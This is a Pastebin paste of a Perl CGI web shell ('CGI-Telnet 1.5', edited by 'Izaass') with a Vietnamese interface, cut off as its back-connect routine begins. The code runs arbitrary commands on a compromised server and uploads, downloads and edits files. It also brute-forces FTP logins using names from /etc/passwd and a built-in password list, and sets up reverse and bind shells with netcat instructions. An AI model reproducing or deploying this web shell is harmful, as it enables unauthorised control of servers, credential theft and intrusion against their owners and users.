Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl -I/usr/local/bandmin
- use MIME::Base64;
- $Version= "CGI-Telnet Version 1.5";
- $EditPersion="<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0); color:#ffffff; font-weight:bold;'>Izaass</font>";
- $Password = "?";
- sub Is_Win(){
- $os = &trim($ENV{"SERVER_SOFTWARE"});
- if($os =~ m/win/i){
- return 1;
- }else{
- return 0;
- }
- }
- $WinNT = &Is_Win();
- $NTCmdSep = "&";
- $UnixCmdSep = ";";
- $CommandTimeoutDuration = 10;
- $ShowDynamicOutput = 1;
- $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
- $CmdPwd = ($WinNT ? "cd" : "pwd");
- $PathSep = ($WinNT ? "\\" : "/");
- $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
- $cols= 130;
- $rows= 26;
- sub ReadParse
- {
- local (*in) = @_ if @_;
- local ($i, $loc, $key, $val);
- $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
- if($ENV{'REQUEST_METHOD'} eq "GET")
- {
- $in = $ENV{'QUERY_STRING'};
- }
- elsif($ENV{'REQUEST_METHOD'} eq "POST")
- {
- binmode(STDIN) if $MultipartFormData & $WinNT;
- read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
- }
- # handle file upload data
- if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
- {
- $Boundary = '--'.$1; # please refer to RFC1867
- @list = split(/$Boundary/, $in);
- $HeaderBody = $list[1];
- $HeaderBody =~ /\r\n\r\n|\n\n/;
- $Header = $`;
- $Body = $';
- $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
- $in{'filedata'} = $Body;
- $Header =~ /filename=\"(.+)\"/;
- $in{'f'} = $1;
- $in{'f'} =~ s/\"//g;
- $in{'f'} =~ s/\s//g;
- # parse trailer
- for($i=2; $list[$i]; $i++)
- {
- $list[$i] =~ s/^.+name=$//;
- $list[$i] =~ /\"(\w+)\"/;
- $key = $1;
- $val = $';
- $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
- $val =~ s/%(..)/pack("c", hex($1))/ge;
- $in{$key} = $val;
- }
- }
- else # standard post data (url encoded, not multipart)
- {
- @in = split(/&/, $in);
- foreach $i (0 .. $#in)
- {
- $in[$i] =~ s/\+/ /g;
- ($key, $val) = split(/=/, $in[$i], 2);
- $key =~ s/%(..)/pack("c", hex($1))/ge;
- $val =~ s/%(..)/pack("c", hex($1))/ge;
- $in{$key} .= "\0" if (defined($in{$key}));
- $in{$key} .= $val;
- }
- }
- }
- #------------------------------------------------------------------------------
- # function EncodeDir: encode base64 Path
- #------------------------------------------------------------------------------
- sub EncodeDir
- {
- my $dir = shift;
- $dir = trim(encode_base64($dir));
- $dir =~ s/(\r|\n)//;
- return $dir;
- }sub PrintPageHeader
- {
- $EncodeCurrentDir = EncodeDir($CurrentDir);
- my $id = `id` if(!$WinNT);
- my $info = `uname -a`;
- print "Content-type: text/html\n\n";
- print <<END;
- <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>$ENV{'SERVER_NAME'} | IP : $ENV{'SERVER_ADDR'} </title>
- $HtmlMetaHeader
- </head><style>
- body{
- font: 10pt Verdana;
- color: #fff;
- }
- tr,td,table,input,textarea {
- BORDER-RIGHT: #3e3e3e 1px solid;
- BORDER-TOP: #3e3e3e 1px solid;
- BORDER-LEFT: #3e3e3e 1px solid;
- BORDER-BOTTOM: #3e3e3e 1px solid;
- }
- #domain tr:hover{
- background-color: #444;
- }
- td {
- color: #ffffff;
- }
- .listdir td{
- text-align: center;
- }
- .listdir th{
- color: 00FF00;
- }
- .dir,.file
- {
- text-align: left !important;
- }
- .dir{
- font-size: 10pt;
- font-weight: bold;
- }
- table {
- BACKGROUND-COLOR: #111;
- }
- input {
- BACKGROUND-COLOR: Black;
- color: 00FF00;
- }
- input.submit {
- text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
- color: #FFFFFF;
- border-color: #009900;
- }
- code {
- border: dashed 0px #333;
- color: while;
- }
- run {
- border : dashed 0px #333;
- color: #FF00AA;
- }
- textarea {
- BACKGROUND-COLOR: #1b1b1b;
- font: Fixedsys bold;
- color: 00FF00;
- }
- A:link {
- COLOR: #ffffff; TEXT-DECORATION: none
- }
- A:visited {
- COLOR: #ffffff; TEXT-DECORATION: none
- }
- A:hover {
- text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
- color: #FFFFFF; TEXT-DECORATION: none
- }
- A:active {
- color: Red; TEXT-DECORATION: none
- }
- .listdir tr:hover{
- background: #444;
- }
- .listdir tr:hover td{
- background: #444;
- text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
- color: #FFFFFF; TEXT-DECORATION: none;
- }
- .notline{
- background: #111;
- }
- .line{
- background: #222;
- }
- </style>
- <script language="javascript">
- function Encoder(name)
- {
- var e = document.getElementById(name);
- e.value = btoa(e.value);
- return true;
- }
- function chmod_form(i,file)
- {
- document.getElementById("FilePerms_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + " name=chmod type=text size=5 /><input type=submit class='submit' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
- document.getElementById("text_" + i).focus();
- }
- function rm_chmod_form(response,i,perms,file)
- {
- response.innerHTML = "<span onclick=\\\"chmod_form(" + i + ",'"+ file+ "')\\\" >"+ perms +"</span></td>";
- }
- function rename_form(i,file,f)
- {
- f.replace(/\\\\/g,"\\\\\\\\");
- var back="rm_rename_form("+i+",\\\""+file+"\\\",\\\""+f+"\\\"); return false;";
- document.getElementById("File_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + " name=rename type=text value= '"+file+"' /><input type=submit class='submit' value=OK><input type=submit class='submit' onclick='" + back + "' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
- document.getElementById("text_" + i).focus();
- }
- function rm_rename_form(i,file,f)
- {
- if(f=='f')
- {
- document.getElementById("File_"+i).innerHTML="<a href='?a=command&d=$EncodeCurrentDir&c=edit%20"+file+"%20'>" +file+ "</a>";
- }else
- {
- document.getElementById("File_"+i).innerHTML="<a href='?a=gui&d="+f+"'>[ " +file+ " ]</a>";
- }
- }
- </script><body onLoad="document.f.@_.focus()" bgcolor="#0c0c0c" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0"><center><code>
- <table border="1" width="100%" cellspacing="0" cellpadding="2"><tr><td align="center" rowspan=3><b><font size="3">$EditPersion</font></b></td><td>
- $info
- </td><td>Server IP:<font color="red"> $ENV{'SERVER_ADDR'}</font> | Your IP: <font color="red">$ENV{'REMOTE_ADDR'}</font></td></tr><tr><td colspan="2">
- <a href="$ScriptLocation">Home</a> |
- <a href="$ScriptLocation?a=command&d=$EncodeCurrentDir">Command</a> |
- <a href="$ScriptLocation?a=gui&d=$EncodeCurrentDir">GUI</a> |
- <a href="$ScriptLocation?a=upload&d=$EncodeCurrentDir">Upload File</a> |
- <a href="$ScriptLocation?a=download&d=$EncodeCurrentDir">Tải Xuống File</a> |
- <a href="$ScriptLocation?a=backbind">Back & Bind</a> |
- <a href="$ScriptLocation?a=bruteforcer">Brute Forcer</a> |
- <a href="$ScriptLocation?a=checklog">Check Log</a> |
- <a href="$ScriptLocation?a=domainsuser">Domains/Users</a> |
- <a href="$ScriptLocation?a=configizaass">All/Config.log</a> |
- <a href="$ScriptLocation?a=logout">Đăng Xuất</a> |
- <a target='_blank' href="../error_log.php">Help</a></td></tr><tr><td colspan="2">
- $id
- </td></tr></table><font id="ResponseData" color="#FFFFFF" >
- END
- }
- #------------------------------------------------------------------------------
- # Prints the Login Screen
- #------------------------------------------------------------------------------
- sub PrintLoginScreen
- {
- print <<END;
- <pre><script type="text/javascript">
- TypingText = function(element, interval, cursor, finishedCallback) {
- if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
- this.running = true; // Never run.
- return;
- }
- this.element = element;
- this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
- this.interval = (typeof interval == "undefined" ? 100 : interval);
- this.origText = this.element.innerHTML;
- this.unparsedOrigText = this.origText;
- this.cursor = (cursor ? cursor : "");
- this.currentText = "";
- this.currentChar = 0;
- this.element.typingText = this;
- if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
- TypingText.all.push(this);
- this.running = false;
- this.inTag = false;
- this.tagBuffer = "";
- this.inHTMLEntity = false;
- this.HTMLEntityBuffer = "";
- }
- TypingText.all = new Array();
- TypingText.currentIndex = 0;
- TypingText.runAll = function() {
- for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
- }
- TypingText.prototype.run = function() {
- if(this.running) return;
- if(typeof this.origText == "undefined") {
- setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval); // We haven't finished loading yet. Have patience.
- return;
- }
- if(this.currentText == "") this.element.innerHTML = "";
- // this.origText = this.origText.replace(/<([^<])*>/, ""); // Strip HTML from text.
- if(this.currentChar < this.origText.length) {
- if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
- this.tagBuffer = "<";
- this.inTag = true;
- this.currentChar++;
- this.run();
- return;
- } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
- this.tagBuffer += ">";
- this.inTag = false;
- this.currentText += this.tagBuffer;
- this.currentChar++;
- this.run();
- return;
- } else if(this.inTag) {
- this.tagBuffer += this.origText.charAt(this.currentChar);
- this.currentChar++;
- this.run();
- return;
- } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
- this.HTMLEntityBuffer = "&";
- this.inHTMLEntity = true;
- this.currentChar++;
- this.run();
- return;
- } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
- this.HTMLEntityBuffer += ";";
- this.inHTMLEntity = false;
- this.currentText += this.HTMLEntityBuffer;
- this.currentChar++;
- this.run();
- return;
- } else if(this.inHTMLEntity) {
- this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
- this.currentChar++;
- this.run();
- return;
- } else {
- this.currentText += this.origText.charAt(this.currentChar);
- }
- this.element.innerHTML = this.currentText;
- this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
- this.currentChar++;
- setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
- } else {
- this.currentText = "";
- this.currentChar = 0;
- this.running = false;
- this.finishedCallback();
- }
- }
- </script></pre><br><script type="text/javascript">
- new TypingText(document.getElementById("hack"), 30, function(i){ var ar = new Array("_",""); return " " + ar[i.length % ar.length]; });
- TypingText.runAll();
- </script>
- END
- }
- #------------------------------------------------------------------------------
- # encode html special chars
- #------------------------------------------------------------------------------
- sub UrlEncode($){
- my $str = shift;
- $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
- return $str;
- }
- #------------------------------------------------------------------------------
- # Add html special chars
- #------------------------------------------------------------------------------
- sub HtmlSpecialChars($){
- my $text = shift;
- $text =~ s/&/&/g;
- $text =~ s/"/"/g;
- $text =~ s/'/'/g;
- $text =~ s/</</g;
- $text =~ s/>/>/g;
- return $text;
- }
- #------------------------------------------------------------------------------
- # Add link for directory
- #------------------------------------------------------------------------------
- sub AddLinkDir($)
- {
- my $ac=shift;
- my @dir=();
- if($WinNT)
- {
- @dir=split(/\\/,$CurrentDir);
- }else
- {
- @dir=split("/",&trim($CurrentDir));
- }
- my $path="";
- my $result="";
- foreach (@dir)
- {
- $path .= $_.$PathSep;
- $result.="<a href='?a=".$ac."&d=".encode_base64($path)."'>".$_.$PathSep."</a>";
- }
- return $result;
- }
- #------------------------------------------------------------------------------
- # Prints the message that informs the user of a failed login
- #------------------------------------------------------------------------------
- sub PrintLoginFailedMessage
- {
- print <<END;
- Mật Khẩu:<br>Login incorrect<br><br>
- END
- }
- #------------------------------------------------------------------------------
- # Prints the HTML form for logging in
- #------------------------------------------------------------------------------
- sub PrintLoginForm
- {
- print <<END;
- <form name="f" method="POST" action="$ScriptLocation"><input type="hidden" name="a" value="login">Mật Khẩu: Izaass<br>Mật Khẩu:<input type="password" name="p"><input class="submit" type="submit" value="Enter"></form>
- END
- }
- #------------------------------------------------------------------------------
- # Prints the footer for the HTML Page
- #------------------------------------------------------------------------------
- sub PrintPageFooter
- {
- print "<br><font color=red>=</font><font color=red>--->* <font color=00FF00>Edited by ::[Izaass]:: </font> *<---=</font></code></center></body></html>";
- }
- #------------------------------------------------------------------------------
- # Retreives the values of all cookies. The cookies can be accesses using the
- # variable $Cookies{''}
- #------------------------------------------------------------------------------
- sub GetCookies
- {
- @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
- foreach $cookie(@httpcookies)
- {
- ($id, $val) = split(/=/, $cookie);
- $Cookies{$id} = $val;
- }
- }
- #------------------------------------------------------------------------------
- # Prints the screen when the user logs out
- #------------------------------------------------------------------------------
- sub PrintLogoutScreen
- {
- print "Connection closed by foreign host.<br><br>";
- }sub PerformLogout
- {
- print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
- &PrintPageHeader("p");
- &PrintLogoutScreen;
- &PrintLoginScreen;
- &PrintLoginForm;
- &PrintPageFooter;
- exit;
- }
- sub PerformLogin
- {
- if($LoginPassword eq $Password) # password matched
- {
- print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
- &PrintPageHeader;
- print &ListDir;
- }
- else # password didn't match
- {
- &PrintPageHeader("p");
- &PrintLoginScreen;
- if($LoginPassword ne "") # some password was entered
- {
- &PrintLoginFailedMessage;
- }
- &PrintLoginForm;
- &PrintPageFooter;
- exit;
- }
- }
- #------------------------------------------------------------------------------
- # Prints the HTML form that allows the user to enter commands
- #------------------------------------------------------------------------------
- sub PrintCommandLineInputForm
- {
- $EncodeCurrentDir = EncodeDir($CurrentDir);
- my $dir= "<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("command")."</span>";
- $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
- return <<END;
- <form name="f" method="POST" action="$ScriptLocation" onSubmit="Encoder('c')">
- <input type="hidden" name="a" value="command">
- <input type="hidden" name="d" value="$EncodeCurrentDir">
- $Prompt
- <input type="text" size="40" name="c" id="c">
- <input class="submit" type="submit" value="Enter">
- </form>
- END
- }
- #------------------------------------------------------------------------------
- # Prints the HTML form that allows the user to download files
- #------------------------------------------------------------------------------
- sub PrintFileDownloadForm
- {
- $EncodeCurrentDir = EncodeDir($CurrentDir);
- my $dir = &AddLinkDir("download");
- $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
- return <<END;
- <form name="f" method="POST" action="$ScriptLocation">
- <input type="hidden" name="d" value="$EncodeCurrentDir">
- <input type="hidden" name="a" value="download">
- $Prompt download<br><br>
- Tên File: <input class="file" type="text" name="f" size="35"><br><br>
- Tải Xuống <input class="submit" type="submit" value="Enter">
- </form>
- END
- }
- #------------------------------------------------------------------------------
- # Prints the HTML form that allows the user to upload files
- #------------------------------------------------------------------------------
- sub PrintFileUploadForm
- {
- $EncodeCurrentDir = EncodeDir($CurrentDir);
- my $dir= &AddLinkDir("upload");
- $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
- return <<END;
- <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
- $Prompt upload<br><br>
- Tên File: <input class="file" type="file" name="f" size="35"><br><br>
- Cài Đặt: <input type="checkbox" name="o" id="up" value="overwrite">
- <label for="up">Đè Lên Nếu File Trùng Nhau</label><br><br>
- Tải Lên: <input class="submit" type="submit" value="Enter">
- <input type="hidden" name="d" value="$EncodeCurrentDir">
- <input class="submit" type="hidden" name="a" value="upload">
- </form>
- END
- }
- sub CommandTimeout
- {
- if(!$WinNT)
- {
- alarm(0);
- return <<END;
- </textarea><br><font color=yellow>Command exceeded maximum time of $CommandTimeoutDuration second(s).</font><br><font size='6' color=red>Killed it!</font>
- END
- }
- }
- sub PrintDownloadLinkPage
- {
- local($FileUrl) = @_;
- my $result="";
- if(-e $FileUrl) # if the file exists
- {
- # encode the file link so we can send it to the browser
- $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
- $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
- $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
- &PrintPageHeader("c");
- $result .= <<END;
- Sending File $TransferFile...<br>
- If the download does not start automatically,
- <a href="$DownloadLink">Click Here</a>
- END
- $result .= &PrintCommandLineInputForm;
- }
- else # file doesn't exist
- {
- $result .= "Failed to download $FileUrl: $!";
- $result .= &PrintFileDownloadForm;
- }
- return $result;
- }
- #------------------------------------------------------------------------------
- # This function reads the specified file from the disk and sends it to the
- # browser, so that it can be downloaded by the user.
- # Argument 1: Fully qualified pathname of the file to be sent.
- #------------------------------------------------------------------------------
- sub SendFileToBrowser
- {
- my $result = "";
- local($SendFile) = @_;
- if(open(SENDFILE, $SendFile)) # file opened for reading
- {
- if($WinNT)
- {
- binmode(SENDFILE);
- binmode(STDOUT);
- }
- $FileSize = (stat($SendFile))[7];
- ($Filename = $SendFile) =~ m!([^/^\\]*)$!;
- print "Content-Type: application/x-unknown\n";
- print "Content-Length: $FileSize\n";
- print "Content-Disposition: attachment; filename=$1\n\n";
- print while(<SENDFILE>);
- close(SENDFILE);
- exit(1);
- }
- else # failed to open file
- {
- $result .= "Failed to download $SendFile: $!";
- $result .=&PrintFileDownloadForm;
- }
- return $result;
- }
- #------------------------------------------------------------------------------
- # This function is called when the user downloads a file. It displays a message
- # to the user and provides a link through which the file can be downloaded.
- # This function is also called when the user clicks on that link. In this case,
- # the file is read and sent to the browser.
- #------------------------------------------------------------------------------
- sub BeginDownload
- {
- $EncodeCurrentDir = EncodeDir($CurrentDir);
- # get fully qualified path of the file to be downloaded
- if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
- (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
- {
- $TargetFile = $TransferFile;
- }
- else # path is relative
- {
- chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
- $TargetFile .= $PathSep.$TransferFile;
- }
- if($Options eq "go") # we have to send the file
- {
- &SendFileToBrowser($TargetFile);
- }
- else # we have to send only the link page
- {
- &PrintDownloadLinkPage($TargetFile);
- }
- }
- #------------------------------------------------------------------------------
- # This function is called when the user wants to upload a file. If the
- # file is not specified, it displays a form allowing the user to specify a
- # file, otherwise it starts the upload process.
- #------------------------------------------------------------------------------
- sub UploadFile
- {
- # if no file is specified, print the upload form again
- if($TransferFile eq "")
- {
- return &PrintFileUploadForm;
- }
- my $result="";
- # start the uploading process
- $result .= "Tải Lên: $TransferFile Tới $CurrentDir ...<br>";
- # get the fullly qualified pathname of the file to be created
- chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
- $TransferFile =~ m!([^/^\\]*)$!;
- $TargetName .= $PathSep.$1;
- $TargetFileSize = length($in{'filedata'});
- # if the file exists and we are not supposed to overwrite it
- if(-e $TargetName && $Options ne "overwrite")
- {
- $result .= "THất Bại, Tệp Tin Này Đã Tồn Tại.<br>";
- }
- else # file is not present
- {
- if(open(UPLOADFILE, ">$TargetName"))
- {
- binmode(UPLOADFILE) if $WinNT;
- print UPLOADFILE $in{'filedata'};
- close(UPLOADFILE);
- $result .= "kích Thước: $TargetFileSize Bytes.<br>";
- $result .= "Đường Dẫn File: $TargetName<br>";
- }
- else
- {
- $result .= "Thất Bại: $!<br>";
- }
- }
- $result .= &PrintCommandLineInputForm;
- return $result;
- }
- #------------------------------------------------------------------------------
- # This function is called when the user wants to download a file. If the
- # filename is not specified, it displays a form allowing the user to specify a
- # file, otherwise it displays a message to the user and provides a link
- # through which the file can be downloaded.
- #------------------------------------------------------------------------------
- sub DownloadFile
- {
- # if no file is specified, print the download form again
- if($TransferFile eq "")
- {
- &PrintPageHeader("f");
- return &PrintFileDownloadForm;
- }
- # get fully qualified path of the file to be downloaded
- if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
- {
- $TargetFile = $TransferFile;
- }
- else # path is relative
- {
- chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
- $TargetFile .= $PathSep.$TransferFile;
- }
- if($Options eq "go") # we have to send the file
- {
- return &SendFileToBrowser($TargetFile);
- }
- else # we have to send only the link page
- {
- return &PrintDownloadLinkPage($TargetFile);
- }
- }
- #------------------------------------------------------------------------------
- # This function is called to execute commands. It displays the output of the
- # command and allows the user to enter another command. The change directory
- # command is handled differently. In this case, the new directory is stored in
- # an internal variable and is used each time a command has to be executed. The
- # output of the change directory command is not displayed to the users
- # therefore error messages cannot be displayed.
- #------------------------------------------------------------------------------
- sub ExecuteCommand
- {
- $CurrentDir = &TrimSlashes($CurrentDir);
- my $result="";
- if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
- {
- # we change the directory internally. The output of the
- # command is not displayed.
- $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
- chomp($CurrentDir = `$Command`);
- $result .= &PrintCommandLineInputForm;
- $result .= "Command: <run>$RunCommand </run><br><textarea cols='$cols' rows='$rows' spellcheck='false'>";
- # xuat thong tin khi chuyen den 1 thu muc nao do!
- $RunCommand= $WinNT?"dir":"dir -lia";
- $result .= &RunCmd;
- }elsif($RunCommand =~ m/^\s*edit\s+(.+)/)
- {
- $result .= &SaveFileForm;
- }else
- {
- $result .= &PrintCommandLineInputForm;
- $result .= "Command: <run>$RunCommand</run><br><textarea id='data' cols='$cols' rows='$rows' spellcheck='false'>";
- $result .=&RunCmd;
- }
- $result .= "</textarea>";
- return $result;
- }
- #------------------------------------------------------------------------
- # run command
- #------------------------------------------------------------------------
- sub RunCmd
- {
- my $result="";
- $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
- if(!$WinNT)
- {
- $SIG{'ALRM'} = \&CommandTimeout;
- alarm($CommandTimeoutDuration);
- }
- if($ShowDynamicOutput) # show output as it is generated
- {
- $|=1;
- $Command .= " |";
- open(CommandOutput, $Command);
- while(<CommandOutput>)
- {
- $_ =~ s/(\n|\r\n)$//;
- $result .= &HtmlSpecialChars("$_\n");
- }
- $|=0;
- }
- else # show output after command completes
- {
- $result .= &HtmlSpecialChars($Command);
- }
- if(!$WinNT)
- {
- alarm(0);
- }
- return $result;
- }
- #==============================================================================
- # Form Save File
- #==============================================================================
- sub SaveFileForm
- {
- my $result ="";
- $EncodeCurrentDir = EncodeDir($CurrentDir);
- substr($RunCommand,0,5)="";
- my $file=&trim($RunCommand);
- $save='<br><input name="a" type="submit" value="save" class="submit" >';
- $File=$CurrentDir.$PathSep.$RunCommand;
- my $dir="<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("gui")."</span>";
- if(-w $File)
- {
- $rows="23"
- }else
- {
- $msg="<br><font style='color: yellow;' > Cann't write file!<font><br>";
- $rows="20"
- }
- $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
- $RunCommand = "edit $RunCommand";
- $result .= <<END;
- <form name="f" method="POST" action="$ScriptLocation"><input type="hidden" name="d" value="$EncodeCurrentDir">
- $Prompt
- <input type="text" size="40" name="c">
- <input name="s" class="submit" type="submit" value="Enter"><br>Command: <run> $RunCommand </run>
- <input type="hidden" name="file" value="$file" > $save <br> $msg<br><textarea id="data" name="data" cols="$cols" rows="$rows" spellcheck="false">
- END
- $result .= &HtmlSpecialChars(&FileOpen($File,0));
- $result .= "</textarea>";
- $result .= "</form>";
- return $result;
- }
- #==============================================================================
- # File Open
- #==============================================================================
- sub FileOpen($){
- my $file = shift;
- my $binary = shift;
- my $result = "";
- my $n = "";
- if(-f $file){
- if(open(FILE,$file)){
- if($binary){
- binmode FILE;
- }
- while (($n = read FILE, $data, 1024) != 0) {
- $result .= $data;
- }
- close(FILE);
- }
- }else
- {
- return "Not's a File!";
- }
- return $result;
- }
- #==============================================================================
- # Save File
- #==============================================================================
- sub SaveFile($)
- {
- my $Data= shift ;
- my $File= shift;
- $File=$CurrentDir.$PathSep.$File;
- if(open(FILE, ">$File"))
- {
- binmode FILE;
- print FILE $Data;
- close FILE;
- return 1;
- }else
- {
- return 0;
- }
- }
- #------------------------------------------------------------------------------
- # Brute Forcer Form
- #------------------------------------------------------------------------------
- sub BruteForcerForm
- {
- my $result="";
- $result .= <<END;
- <table><tr>
- <td colspan="2" align="center">####################################<br>Simple FTP brute forcer<br>Note: Only scan from 1 to 3 user :-S<br>####################################
- <form name="f" method="POST" action="$ScriptLocation"><input type="hidden" name="a" value="bruteforcer"/></td></tr><tr><td>User:<br><textarea rows="18" cols="30" name="user">
- END
- chop($result .= `less /etc/passwd | cut -d: -f1`);
- $result .= <<'END';
- </textarea></td><td>Pass:<br><textarea rows="18" cols="30" name="pass">123pass
- 123!@#
- 123admin
- 123abc
- 123456admin
- 1234554321
- 12344321
- pass123
- admin
- admincp
- administrator
- matkhau
- passadmin
- p@ssword
- p@ssw0rd
- password
- 123456
- 1234567
- 12345678
- 123456789
- 1234567890
- 111111
- 000000
- 222222
- 333333
- 444444
- 555555
- 666666
- 777777
- 888888
- 999999
- 123123
- 234234
- 345345
- 456456
- 567567
- 678678
- 789789
- 123321
- 456654
- 654321
- 7654321
- 87654321
- 987654321
- 0987654321
- admin123
- admin123456
- abcdef
- abcabc
- !@#!@#
- !@#$%^
- !@#$%^&*(
- !@#$$#@!
- abc123
- anhyeuem
- iloveyou
- </textarea></td></tr><tr><td colspan="2" align="center">Sleep:<select name="sleep"><option>0</option><option>1</option><option>2</option><option>3</option></select> <input type="submit" class="submit" value="Enter"/></td></tr></form></table>
- END
- return $result;
- }
- #------------------------------------------------------------------------------
- # Brute Forcer
- #------------------------------------------------------------------------------
- sub BruteForcer
- {
- my $result="";
- $Server=$ENV{'SERVER_ADDR'};
- if($in{'user'} eq "")
- {
- $result .= &BruteForcerForm;
- }else
- {
- use Net::FTP;
- @user= split(/\n/, $in{'user'});
- @pass= split(/\n/, $in{'pass'});
- chomp(@user);
- chomp(@pass);
- $result .= "<br><br>[+] Trying brute $ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\n";
- foreach $username (@user)
- {
- if($username ne "")
- {
- foreach $password (@pass)
- {
- $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n";
- if($ftp->login("$username","$password"))
- {
- $result .= "<a target='_blank' href='ftp://$username:$password\@$Server'>[+] ftp://$username:$password\@$Server</a><br>\n";
- $ftp->quit();
- break;
- }
- if($in{'sleep'} ne "0")
- {
- sleep(int($in{'sleep'}) * 1000);
- }
- $ftp->quit();
- }
- }
- }
- $result .= "\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\n";
- }
- return $result;
- }
- #------------------------------------------------------------------------------
- # Backconnect Form
- #------------------------------------------------------------------------------
- sub BackBindForm
- {
- return <<END;
- <br><br><table><tr><form name="f" method="POST" action="$ScriptLocation"><td>BackConnect: <input type="hidden" name="a" value="backbind"></td><td> Host: <input type="text" size="20" name="clientaddr" value="$ENV{'REMOTE_ADDR'}">
- Port: <input type="text" size="6" name="clientport" value="1711" onkeyup="document.getElementById('ba').innerHTML=this.value;"></td>
- <td><input name="s" class="submit" type="submit" name="submit" value="Enter"></td></form></tr><tr><td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!
- <br>[+] Try check your Port with <a target="_blank" href="http://www.canyouseeme.org/">http://www.canyouseeme.org/</a><br>[+] Client listen with command: <run>nc -vv -l -p <span id="ba">80</span></run></font></td>
- </tr></table><br><br><table><tr><form method="POST" action="$ScriptLocation"><td>Bind Port: <input type="hidden" name="a" value="backbind"></td>
- <td> Port: <input type="text" size="15" name="clientport" value="1412" onkeyup="document.getElementById('bi').innerHTML=this.value;">
- Mật Khẩu: <input type="text" size="12" name="bindpass" value="abc"></td>
- <td><input name="s" class="submit" type="submit" name="submit" value="Enter"></td></form></tr><tr><td colspan=3><font color=#FFFFFF>[+] Testing ....
- <br>[+] Try command: <run>nc $ENV{'SERVER_ADDR'} <span id="bi">1412</span></run></font></td>
- </tr></table><br/><b><a style="color:#FFF500;" href="http://www.mediafire.com/download/oz2605n328gnkru" target="_blank">Click Download Netcat, nc.exe</a></b><br>
- END
- }
- #------------------------------------------------------------------------------
- # Backconnect use perl
- #------------------------------------------------------------------------------
- sub BackBind
- {
- use Socket;
